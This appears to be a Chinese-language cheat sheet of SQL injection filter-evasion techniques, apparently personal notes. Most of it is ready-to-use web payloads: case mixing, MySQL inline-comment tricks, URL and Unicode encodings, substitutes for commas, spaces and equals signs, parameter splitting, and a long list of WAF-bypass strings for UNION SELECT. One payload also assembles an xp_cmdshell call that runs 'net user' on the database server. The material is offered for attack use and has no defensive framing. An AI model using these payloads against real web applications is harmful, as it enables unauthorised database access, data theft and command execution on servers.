SQL注入绕过总结
花括号绕过
select{x password}from{database.user}
union select 1,{x 2},3
特征字符大小写绕过
UniOn SEleCt 1,2,3
MYSQL特性绕过-定义变量
union select @test=user(),2,3
双写绕过
UNunionION SEselectLECT 1,2,3,4
内联注释
- /!select/: 相当于没有注释
- /!12345select/: 当12345小于当前mysql版本号的时候,注释不生效,相当于select,当大于版本号的时候注释生效。假如mysql版本是5xx,则一般使用数字4xxxx
- /![]/: []中括号中的数字若填写则必须是5位
- /!12345order/!12345by*/3 这种也是可以的
- /!froM/%20/!InfORmaTion_scHema/.tAblES%20/!WhERe/%20/!TaBle_ScHEmA/=schEMA()--+
编码绕过
- URL编码(%+十六进制):%55nION//%53ElecT%201,2,3,4**
- 十六进制 str -> hex
- ascii编码绕过
- **unicode编码 **
- 单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
- 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
- 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
- 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
- 二次URL编码
特殊符号绕过
select+id-1+1.from users
注:字符串通过+、-操作时会自动转换成数字,字符串对应得是首字节对应的值(若首字节是字符则转换为0);
当过滤了from,即可使用,用-1+1.拼接from。
select@^1.from users
*作用同上,假如过滤了from,可以select ,@^1.from users 来拼接数据
id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell%20”net%20user”’);
id=1+(UnI)(oN)+(SeL)(EcT)
过滤逗号绕过
- join关键字
- union select 1,2,3 等价于 union select * from (select 1)a join (select 2)b join (select 3)c
- 假如在2回显,就可以在(select 2)改成(select payload())
- union select 1,2,3 等价于 union select * from (select 1)a join (select 2)b join (select 3)c
- from pos for len
- substr(version(),1,1) 等价于 substr(version() from 1 for 1)
- offset关键字
- 适用于limit中逗号被过滤的情况
- select * from users limit 2,1 等价于 select * from users limit 1 offset 2 都是从第三条记录开始取一条
- limit索引从0开始,代表第一条记录,limit index,num 从index开始取num条
- 比如limit 0,1 就是从第一条记录(包含第一条)开始取一条记录
- 适用于limit中逗号被过滤的情况
空格绕过
// () %0a ` 两个空格**
%09 %0A %0B %0D %a0
and or绕过
- and -> &&
- or -> || -> %6f%72%20%31%3d%31(or 1=1)
- xor -> |
- not -> !
=号绕过
- like 不加通配符的like和等号效果一致
- rlike 模糊匹配 只要字段中存在查找的值就会被筛选出来
- regexp 正则表达式匹配 与like用法一致
- !(table_schema<>database())
过滤函数
- sleep() -> benchmark()
- ascii = ord() -> hex() bin()
- group_concat() -> concat_ws()
- substr() = substring() = mid()
1号位
科学计数法
- 数字型: ?id=1.1union select 1,2,3--+
- 字符型: ?id=1'%1%2Eunion select 1,2,3--+
x@(%@ -@ +@ /@ %26@)
- 数字型: ?id=1-@ union select 1,2,3--+
- 字符型: ?id=1'-@ union select 1,2,3--+
摆烂~ 具体到 https://xz.aliyun.com/t/8490 查看
UNION,SELECT,WHERE
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
#Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
多参数请求拆分
**a=[input1]&b=[input2]**
此时在SQL语句中:
**and a=[input1] and b=[input2]**
可以将注入语句拆分:
**a=union/*;b=*/select 1,2,3--+**
**and a=union/* and b=*/select1,2,3--+**
缓冲区溢出
and+(select+1)=(Select+0xA*1000)+UnIoN+SeLeCT+1,2,version()--+